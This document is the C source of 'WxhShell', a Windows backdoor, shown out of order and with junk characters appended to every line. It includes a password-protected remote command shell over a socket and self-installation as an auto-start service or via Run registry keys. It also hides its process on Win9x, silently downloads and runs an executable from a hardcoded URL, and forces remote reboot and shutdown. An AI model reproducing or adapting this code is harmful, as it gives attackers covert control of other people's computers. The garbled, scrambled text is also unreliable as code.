    send(wsh,msg_ws_err,strlen(msg_ws_err),0); { ,qm=Xjq  
    else { fa;\4#  
    closesocket(wsh); %,E\8{I+  
    ExitThread(0);  PW x9CT  
    } +;tXk  
    break; U@!e&QPn  
    } +LCpE$H  
  // 获取shell Lf{9=;  
  case 's': { /mX/ "~  
    CmdShell(wsh); _$]3&P  
    closesocket(wsh); ] hGU.C"(  
    ExitThread(0); u;GS[E4  
    break; H[UV]qO,  
  } 1WRQjT=o  
  // 退出 V)72]p  
  case 'x': { bf|s=,D  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9}p?h1NrY  
    CloseIt(wsh); $014/IB  
    break; /-)\$T1d  
    } ) gbns'Z<  
  // 离开 w5w,jD[  
  case 'q': { OOn{Wp  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ov*?[Y7|~  
    closesocket(wsh); U}<5%"!;  
    WSACleanup(); nj$TdwZbK  
    exit(1); Kur3Gf X  
    break; ]KdSwIbi  
        } iqm]sC`  
  } "`qmeZ$rg  
  } S=B?bD_,c  
3DRJl, v  
  // 提示信息 z{Z4{&M  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z:9xf:g *  
} vVQwuV  
  } Y S/x;  
RC'4%++Nz  
  return; ^3"~ T  
} 9.u}<m  
Od_xH  
// shell模块句柄 >-U'mkIH  
int CmdShell(SOCKET sock) Q*4{2oQ  
{ >NLG"[\  
STARTUPINFO si; 4Z8FLA+T,  
ZeroMemory(&si,sizeof(si)); dRj2% Q f  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?='2@@8;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4z<nJOEh[  
PROCESS_INFORMATION ProcessInfo; y7pwYRY  
char cmdline[]="cmd"; Z~R7 G  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); y5/frJ  
  return 0; 6mp8v`b  
} #+CH0Z  
WH|TdU$V  
// 自身启动模式 %Q,6sH#  
int StartFromService(void) 3dO~Na`S  
{ nA owFdCD  
typedef struct +4L]Z ;k  
{ 0zQ~'x  
  DWORD ExitStatus; lw+54lZX|  
  DWORD PebBaseAddress; (\8IgQ{  
  DWORD AffinityMask; To/6=$wto  
  DWORD BasePriority; `JQw]\f4>  
  ULONG UniqueProcessId; i~Qnw-^B  
  ULONG InheritedFromUniqueProcessId; 3Z0ez?p+5  
}   PROCESS_BASIC_INFORMATION;  4,g_$)  
RE._Ov>  
PROCNTQSIP NtQueryInformationProcess; } H#C<:A  
_uXb 9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Cb4.N 8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;Mw<{X-  
Ms<v81z5T  
  HANDLE             hProcess; J:Mn 5hdK=  
  PROCESS_BASIC_INFORMATION pbi; >c`r&W.t  
h`i*~${yg  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'p_|Rw>  
  if(NULL == hInst ) return 0; SfSWjq  
, wXixf2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /,d]`N!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); q$7w?(Lk  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [n]C  
h 8<s(WR  
  if (!NtQueryInformationProcess) return 0; kxQ al  
Cl6P,C  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); rS>@>8k2,  
  if(!hProcess) return 0; :>C D;  
[L>mrHqG  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; r\A|fiL  
"]T1DG"  
  CloseHandle(hProcess); ECsb?n7e  
'QSj-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Skl:~'W.&|  
if(hProcess==NULL) return 0; %)ri:Qq  
,UYe OM2Ao  
HMODULE hMod; rF$ S  
char procName[255]; "M;[c9  
unsigned long cbNeeded; &t U&ZH  
r}:D g fn  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); fBb:J+  
qP[_!C.  
  CloseHandle(hProcess); I)\{?LdHR  
v}5||s!=  
if(strstr(procName,"services")) return 1; // 以服务启动 U:AB%gr[  
eN'b" _D  
  return 0; // 注册表启动 Z*R~dHr   
} c!kzwc(  
vL#I+_ 2  
// 主模块 PYwGGB-  
int StartWxhshell(LPSTR lpCmdLine) >u\'k +=  
{ \WqC^Di  
  SOCKET wsl; x"7PnN|~  
BOOL val=TRUE; B?db`/G9  
  int port=0; aECpe'!m4  
  struct sockaddr_in door; $0cE iq?Hf  
e= XC$Jv  
  if(wscfg.ws_autoins) Install(); |hS^eK_  
_1jbNQa  
port=atoi(lpCmdLine); aI>F8R?  
!gL1  
if(port<=0) port=wscfg.ws_port; G?^w <  
SmS6B5j\R  
  WSADATA data; l\"CHwN?Y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?e%u[Q0  
\=[38?QOY  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   bZ#KfR  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); RA!8AS?  
  door.sin_family = AF_INET; _aU :[v*!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Vp1Q^`a{G  
  door.sin_port = htons(port); 9.:&u/e  
B~E>=85z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4}Y? :R  
closesocket(wsl); ?Ld:HE  
return 1; >[N6_*K]  
} _PLZ_c:O  
e< G[!m  
  if(listen(wsl,2) == INVALID_SOCKET) { =eR#]d  
closesocket(wsl); .zy2_3:  
return 1; /uPMzl  
} b)>l7nOc  
  Wxhshell(wsl); EUq6) K  
  WSACleanup(); |fb*<o eT  
#sv:)p  
return 0; [U$`nnp  
&Z}}9dd  
} @7t*X-P.;-  
VrKLEN\  
// 以NT服务方式启动 ^Ge|tBMoKE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) DB'3h7T  
{ r!^VCA  
DWORD   status = 0; _QtW)\)5 \  
  DWORD   specificError = 0xfffffff; ZSB;4 ?:h  
6J965eM'[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _$mS=G(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; CHdYY7\{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /GA-1cS_(  
  serviceStatus.dwWin32ExitCode     = 0; 5r0Sl89J  
  serviceStatus.dwServiceSpecificExitCode = 0; !MOcF5M  
  serviceStatus.dwCheckPoint       = 0; PkOtg[Z  
  serviceStatus.dwWaitHint       = 0; ZC&~InN  
9?|m ^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); V.!z9AQ  
  if (hServiceStatusHandle==0) return; ioslarw1J  
xw*/8.Md6f  
status = GetLastError(); 0a+U >S#  
  if (status!=NO_ERROR) >qdRqy)DC  
{ ^Uldyv/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^.[+)0I  
    serviceStatus.dwCheckPoint       = 0; nB |fw"  
    serviceStatus.dwWaitHint       = 0; n* z;%'0  
    serviceStatus.dwWin32ExitCode     = status; xQ=L2pX  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,f .#-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); kCKCJ }N  
    return; v8THJf  
  } UmCIjwk  
7D4I>N'T  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; U6M&7 l8  
  serviceStatus.dwCheckPoint       = 0; r+n hm"9  
  serviceStatus.dwWaitHint       = 0; af/;Dr@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Csm23QLsg)  
} ."j*4  
!M k]%  
// 处理NT服务事件,比如:启动、停止 d`KW]HJw  
VOID WINAPI NTServiceHandler(DWORD fdwControl) jAD{?/RB}  
{ M-5zsN  
switch(fdwControl) (P nrY~9  
{ IUy5=Sl   
case SERVICE_CONTROL_STOP: 5{#ya 2  
  serviceStatus.dwWin32ExitCode = 0; WoWBZ;+U  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; U&6f:IV  
  serviceStatus.dwCheckPoint   = 0; %[m%QP1;p  
  serviceStatus.dwWaitHint     = 0; ":Pfi!9Wl  
  { ld'Aaxl&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Va\?"dH>M  
  } B=2f-o  
  return; I=V]_Ik4 N  
case SERVICE_CONTROL_PAUSE: f>+:UGmP  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; uX,ln(9I*H  
  break; 8T7E.guYr  
case SERVICE_CONTROL_CONTINUE: 4' ym vR  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,F,\bp}  
  break; ' DZYN {}  
case SERVICE_CONTROL_INTERROGATE: ^]&uMkPN  
  break; QxSJLi7t  
}; SM;*vkwz~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i: 6`Rmz1.  
} $?.0>0 ,<  
hmRnr=2N  
// 标准应用程序主函数 &Hb;; Ic(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) b ?p <y`  
{ "0Wi-52=V  
N%hV+># Z  
// 获取操作系统版本 Tq\S-K}4!  
OsIsNt=GetOsVer(); JumZ>\'p(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); o7/S'Haxc]  
E<j}"W$a  
  // 从命令行安装 p(jY2&g  
  if(strpbrk(lpCmdLine,"iI")) Install(); >tUi ;!cQ  
F3-<F_4.w  
  // 下载执行文件 \(ygdZ{R  
if(wscfg.ws_downexe) { ?s=O6D&   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Vq'\`$_  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5r*5Co+  
} eI+<^p_j2  
fgiOYvIS2m  
if(!OsIsNt) { k$u\\`i]oC  
// 如果时win9x,隐藏进程并且设置为注册表启动 !e8OC9 _x  
HideProc(); a.n;ika]-  
StartWxhshell(lpCmdLine); _JVFn=  
} :~I^ni  
else 9g7d:zG  
  if(StartFromService()) /6=IL  
  // 以服务方式启动 #.<Uy."z2  
  StartServiceCtrlDispatcher(DispatchTable); e\0vphS6  
else z%)~s/2Rs  
  // 普通方式启动 ($Cy-p  
  StartWxhshell(lpCmdLine); /5Od:n  
|fL|tkGEa  
return 0; wzXIEWJ  
} -YDA,.Ic?  
k? <.yr1  
Y X`BX$  
{\1:2UKkr  
=========================================== &kR*J<)V  
J!{t/_aw  
Q9yIQ{>H[  
9QQiIi$74U  
Dias!$g  
lm;Dy*|<  
" H*m3i;"4p\  
LD=eMk: ~  
#include <stdio.h> / 5!0wxN  
#include <string.h> ag_*Z\  
#include <windows.h> .+07 Ui]I!  
#include <winsock2.h> -JEiwi,  
#include <winsvc.h> xU1_L*tu '  
#include <urlmon.h> oe'f?IY  
vGCvJ*4!  
#pragma comment (lib, "Ws2_32.lib") wD\viu q0  
#pragma comment (lib, "urlmon.lib") %(uYYr 6  
r|_@S[hZg  
#define MAX_USER   100 // 最大客户端连接数 pjN4)y>0  
#define BUF_SOCK   200 // sock buffer W?F Q  
#define KEY_BUFF   255 // 输入 buffer e=cb%  
RoFOjCc>D.  
#define REBOOT     0   // 重启 hCOCX_  
#define SHUTDOWN   1   // 关机 aw923wEi  
$} @gR] Z  
#define DEF_PORT   5000 // 监听端口 l(y,lK=YP1  
Ud_7>P$a  
#define REG_LEN     16   // 注册表键长度 YMU2^,3  
#define SVC_LEN     80   // NT服务名长度 8FIk|p|l^  
*)(S}D\94  
// 从dll定义API =h@t#-Z"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); J2Mq1*Vpq  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); h+ms%tNT  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ox5Es  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); f<{f/lU@  
2oF1do;  
// wxhshell配置信息 Dr)jB*yK  
struct WSCFG { .OpG2P  
  int ws_port;         // 监听端口 .6LlkM6[g  
  char ws_passstr[REG_LEN]; // 口令 Eq?U$eE  
  int ws_autoins;       // 安装标记, 1=yes 0=no I/*^s  
  char ws_regname[REG_LEN]; // 注册表键名 SHYbQF2  
  char ws_svcname[REG_LEN]; // 服务名 LVNA`|>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 nWes,K6T  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 iYf)FPET  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8og8;#mnyr  
int ws_downexe;       // 下载执行标记, 1=yes 0=no kz/"5gX:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" K(uz`(5  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 S,s#D9NU  
ICEyz| C  
}; P6I<M}p  
R.\]JvqO  
// default Wxhshell configuration sU+8'&vBp  
struct WSCFG wscfg={DEF_PORT, 0v,fY2$c  
    "xuhuanlingzhe", zM(-f|wVI)  
    1, 8OMMV,QF  
    "Wxhshell", (;;.[4,y  
    "Wxhshell", zsLMROo3  
            "WxhShell Service", 9X&=?+f  
    "Wrsky Windows CmdShell Service", kWacc&*|  
    "Please Input Your Password: ", bzr QQQ  
  1, Hr7?#ZX;e  
  "http://www.wrsky.com/wxhshell.exe", -<ome~|  
  "Wxhshell.exe" |)C #  
    }; x_x_TEyyh  
 "D'rsEh  
// 消息定义模块 #+N_wIP4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?t<g|H/|6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 44s 9\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; D59q/@  
char *msg_ws_ext="\n\rExit."; Peo-t*-06  
char *msg_ws_end="\n\rQuit."; L]%!YP\<T  
char *msg_ws_boot="\n\rReboot..."; ORM3o ucP  
char *msg_ws_poff="\n\rShutdown..."; ~"_!O+Pj  
char *msg_ws_down="\n\rSave to "; O+|ipw*B%  
>& 4):  
char *msg_ws_err="\n\rErr!"; Eyz.^)r  
char *msg_ws_ok="\n\rOK!"; `-e9#diQe  
_#1EbvO*l  
char ExeFile[MAX_PATH]; 5 NC77}^.  
int nUser = 0; PJ4/E  
HANDLE handles[MAX_USER]; ~BqC!v.)@E  
int OsIsNt; g!.piG|  
4x<H=CJC  
SERVICE_STATUS       serviceStatus; +_kA&Q(t  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; sv&^sARN  
F3K<-JK+  
// 函数声明 j{'_sI{{  
int Install(void); rT=C/SKP  
int Uninstall(void); lo1bj*Y2  
int DownloadFile(char *sURL, SOCKET wsh); \#]C !JQ  
int Boot(int flag); pY[b[ezb  
void HideProc(void); YR? E z<p  
int GetOsVer(void); }& W=  
int Wxhshell(SOCKET wsl); 5]up%.  
void TalkWithClient(void *cs); 4JU 2x  
int CmdShell(SOCKET sock); z]SEPYq:  
int StartFromService(void); ~-[!>1!%  
int StartWxhshell(LPSTR lpCmdLine); *];QPi~  
" dGN0i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); cWG%>.`5r  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); mQ<4(qd)  
#t;]s<  
// 数据结构和表定义 xMNQT.A  
SERVICE_TABLE_ENTRY DispatchTable[] = O9zMD8  
{ Dn@ZS_f  
{wscfg.ws_svcname, NTServiceMain}, !H@HgJ -  
{NULL, NULL} =+UtA f<n  
}; + kT ]qH  
pdR\Ne0P*  
// 自我安装 G[JWG  
int Install(void) N Uv Vhy]{  
{ #rF`Hk:  
  char svExeFile[MAX_PATH]; _WvVF*Q"k  
  HKEY key; J}[[tl  
  strcpy(svExeFile,ExeFile); maDWV&Db  
3~tu\TH6d  
// 如果是win9x系统,修改注册表设为自启动 (1[59<cg]  
if(!OsIsNt) { 0=3)`v{S@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o zn&>k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $Y6\m`  
  RegCloseKey(key); ^@AyC"K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s+lBai*#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8!Wh`n<  
  RegCloseKey(key); $~.YB\3  
  return 0; wxo  
    } Kus=.(  
  } lJ-PW\P  
}  &Q~W{.  
else { }Cu[x'J  
i m;6$3  
// 如果是NT以上系统,安装为系统服务 9%T"W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %r(WS_%K|  
if (schSCManager!=0) ;C$+8%P4  
{ ulIEx~qP  
  SC_HANDLE schService = CreateService 1B2#uhT]r  
  ( YP_L~zZ  
  schSCManager, I61S0l z/  
  wscfg.ws_svcname, WqNXE)'  
  wscfg.ws_svcdisp, j %gd:-tA  
  SERVICE_ALL_ACCESS, N~O3KG q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $q@d.Z>;  
  SERVICE_AUTO_START, BM,hcT r?  
  SERVICE_ERROR_NORMAL, ~< bpdI0  
  svExeFile, JyMk @Y  
  NULL, +`Z1L\gmA  
  NULL, !|&|%x6@  
  NULL, A%.mIc.  
  NULL, aP  
  NULL c,2& -T}  
  ); )FQ"l{P  
  if (schService!=0) w I_@  
  { ~U&NY7.@  
  CloseServiceHandle(schService); Res U5Ce~  
  CloseServiceHandle(schSCManager); _ Ncbo#G  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); sh$-}1 ;  
  strcat(svExeFile,wscfg.ws_svcname); %)JEYH7Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { vAUt~ X"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 13!@L bC  
  RegCloseKey(key); }~I!'J#)  
  return 0; yQ[;y~W  
    } I$xZV?d.  
  } Sr aZxuPg>  
  CloseServiceHandle(schSCManager); c 3QgX4vq  
} nTqU~'d'  
} :*''ci  
'9V/w[mI  
return 1; dM-cQo:  
} )r9 9zdUk  
,@ 8+%KqG  
// 自我卸载 o{s2T)2  
int Uninstall(void) &n  k)F<  
{ 6L<:>55  
  HKEY key; 15g! Q *v  
te+}j7SU  
if(!OsIsNt) { x4'@U<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7s|'NTp  
  RegDeleteValue(key,wscfg.ws_regname); I@'[>t  
  RegCloseKey(key); 6Xvpk1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]<f)Rf">:`  
  RegDeleteValue(key,wscfg.ws_regname); a$My6Qa#  
  RegCloseKey(key); bBjr hi  
  return 0; A>@#eyB  
  } @YI{E*?S  
} > {*cW  
} 7=l~fKu  
else { 2Xt4Rqk$  
3B&A)&pEO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &K9;GZS?  
if (schSCManager!=0) p/h\QG1   
{ !Z!)$3bB  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); iE~!?N|a3  
  if (schService!=0) }T?X6LA$I8  
  { 4era5=  
  if(DeleteService(schService)!=0) { ) O0Cz n  
  CloseServiceHandle(schService); 8MJJ w;  
  CloseServiceHandle(schSCManager); O*xx63%jR  
  return 0; B5lwQp]  
  } <XdnVe1  
  CloseServiceHandle(schService); [ RyVR  
  } ;.>*O oe&  
  CloseServiceHandle(schSCManager); Cy~IB [  
} |p|Zv H  
} )(}[S:`  
MpCPY"WLL  
return 1; pHeG{<^  
} = L!&Z  
#dauXUKH  
// 从指定url下载文件 `a83RX_\  
int DownloadFile(char *sURL, SOCKET wsh) 4>gfLK\R:  
{ I5Vn#_q+b  
  HRESULT hr; }je<^]a  
char seps[]= "/"; .p#kW:zspA  
char *token; ]*2),H1 c  
char *file; c#OxI*,+/  
char myURL[MAX_PATH]; ? x%s j  
char myFILE[MAX_PATH]; b;i*}4h!  
jB LTEb  
strcpy(myURL,sURL); 22l'kvo4"  
  token=strtok(myURL,seps); !dqC6a  
  while(token!=NULL) |L<JOQ  
  { k<9,Ypa  
    file=token; %_!/4^smE  
  token=strtok(NULL,seps); .n 9.y8C  
  } $S6(V}yh  
$@AJg  
GetCurrentDirectory(MAX_PATH,myFILE); yzS]FwW7  
strcat(myFILE, "\\"); *6s_7{;  
strcat(myFILE, file); {*_Ln  
  send(wsh,myFILE,strlen(myFILE),0); AiqKf=  
send(wsh,"...",3,0); LO`0^r  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 46?z*~*G  
  if(hr==S_OK) W{,fpm  
return 0; Hv/C40uM-  
else eR!# 1ar  
return 1; JYdb^j2c  
FnGKt\  
} TegdB|y7O  
?JuJu1  
// 系统电源模块 ?^&ih:"  
int Boot(int flag) YU,zQ V'  
{ Gs: g  
  HANDLE hToken; T8 FW(Gw#  
  TOKEN_PRIVILEGES tkp; _}{KS, f]0  
l6'KIg  
  if(OsIsNt) { L$ T2 bul  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *bK=<{d1P  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Y>$5j}K  
    tkp.PrivilegeCount = 1; e~vO   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <&eJIz=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `,O7S9]R+  
if(flag==REBOOT) { pMU\f  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) zw<<st Bp  
  return 0; eaRa+ <#u  
} xW"O|x$6  
else { XDK Me}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ekx(i QA  
  return 0; [if(B\&  
} -jjB2xP  
  } 8:Hh;nl  
  else { 5OdsT-y  
if(flag==REBOOT) { i4YskhT  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) h7]+#U]mi  
  return 0; 49"C'n0wST  
} ~}OaX+!  
else { ;D'm=uOl  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) bdrE2m  
  return 0; FBE|pG7  
} BA a:!p  
} qO@vXuul,  
pj%]t  
return 1; ZK4V-?/[6  
} g}~s"Sz  
L|[i<s;  
// win9x进程隐藏模块 Od.@G~  
void HideProc(void) w5Fk#zJv  
{ / `cy4<  
;(K/O?nrJ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \J:+Wl.9A  
  if ( hKernel != NULL ) k4#j l<R  
  { 8wWp+Hk  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #19O5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #X] *kxQ<  
    FreeLibrary(hKernel); xxGm T.&  
  } 1F.._5_"]  
qiOtbH=  
return; :{<|,3oNdR  
} }w)}=WmD  
aPJTH0u  
// 获取操作系统版本 G)0 4'|W  
int GetOsVer(void) /[c_,G" "  
{ /J}G{Y |n  
  OSVERSIONINFO winfo; $2FU<w$5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); U*nB= =  
  GetVersionEx(&winfo); @+;.W>^h  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #~Xj=M%  
  return 1; ]Mq-67  
  else ) `{jPK*`  
  return 0; /yU#UZ4;  
} Z +/3rd  
5 CnNp?.t^  
// 客户端句柄模块 l_k:OZ  
int Wxhshell(SOCKET wsl) q?frt3o  
{ HnPy";{  
  SOCKET wsh; XK~HfA?  
  struct sockaddr_in client; Xf ^_y(?  
  DWORD myID; 5[2kk5,  
fFEB#l!oUb  
  while(nUser<MAX_USER) RAa1^Qb  
{ :V$\y up  
  int nSize=sizeof(client); 5XT^K)'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); NxJnU<g-  
  if(wsh==INVALID_SOCKET) return 1; wv3*o10_w8  
.Z]hS7t  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 'Rnzu0<lF  
if(handles[nUser]==0) (Jb#'(~a  
  closesocket(wsh); g mWwlkf9  
else 0fj C>AS  
  nUser++; 3LyNi$`f  
  } t=eI*M+>h  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); UZsvYy?  
}r18Y6  
  return 0; IqlCl>_j  
} [qY yr  
=XYc2. t  
// 关闭 socket @?s>oSyV  
void CloseIt(SOCKET wsh) NxA4*_|H9  
{ C@;e<  
closesocket(wsh); 6 o   
nUser--; ,ye[TQ\,M  
ExitThread(0); s;Bh69  
} RFsUb:%V7-  
!m))Yp-"H  
// 客户端请求句柄 \{Q_\s&)  
void TalkWithClient(void *cs) 34CcZEQQ  
{ Y(aUB$"  
PN99 R]K0g  
  SOCKET wsh=(SOCKET)cs; P3!@}!r8  
  char pwd[SVC_LEN]; "N'W~XPG  
  char cmd[KEY_BUFF]; D 9;pjY  
char chr[1]; vC1fKo\p  
int i,j; 3 ;"[WOv  
/ j "}e_Q  
  while (nUser < MAX_USER) { [< g9jX5  
*[i49X&rd  
if(wscfg.ws_passstr) { L1+s0g>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DO{otn 9<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {d#sZT  
  //ZeroMemory(pwd,KEY_BUFF); I%:?f{\  
      i=0; G*_]Lz(N  
  while(i<SVC_LEN) { FS)# v  
nT01B1/<]  
  // 设置超时 O..{wdZy  
  fd_set FdRead; G2y1S/  
  struct timeval TimeOut; I*N v|HST  
  FD_ZERO(&FdRead); z{ M2tLNb  
  FD_SET(wsh,&FdRead); &:ZR% f  
  TimeOut.tv_sec=8; 5~UW=   
  TimeOut.tv_usec=0; IDf\! QGx  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); teb(gUy}L6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6DU(KYN  
%=*|: v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4P5^.\.  
  pwd=chr[0]; 8JQ\eF$ma  
  if(chr[0]==0xd || chr[0]==0xa) { B1FJAKI);  
  pwd=0; fUCjC*#1  
  break; S8kzAT  
  } $"( 15U  
  i++; 0=U|7%dOL  
    } N3lz-vP-  
)l! /7WKY  
  // 如果是非法用户,关闭 socket w\D !e  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); R|$b\3  
} rqp]{?33  
qs\Cwn!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 31 <0Nw;l  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S"?fa)~  
|ssl0/nk  
while(1) { >r\GB#\5  
mT-[I<  
  ZeroMemory(cmd,KEY_BUFF); /;}%E  
J2 )h":2  
      // 自动支持客户端 telnet标准   ?%~^PHgZ|  
  j=0; L#'XN H"  
  while(j<KEY_BUFF) { Gt?l 2s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a6;[Z  
  cmd[j]=chr[0]; 5_](N$$  
  if(chr[0]==0xa || chr[0]==0xd) { =NY55t.  
  cmd[j]=0; EqtL&UHe  
  break; 5oCg&aT  
  } }wp/,\_ >  
  j++; }ssja,;  
    } }6.@  
Ua:@,};  
  // 下载文件 }.'rhR+  
  if(strstr(cmd,"http://")) { >`WfY(Lq  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); R@pY+d9qp  
  if(DownloadFile(cmd,wsh)) 0fvOA*UP  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); S2\;\?]^~  
  else 5rbb ,*  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); } )L z%Z  
  } 45wtl/^9  
  else { +'5I8FE-  
zdU 46|!u  
    switch(cmd[0]) { b+:J?MR;}  
  z7AWWr=H  
  // 帮助 T^`; wD  
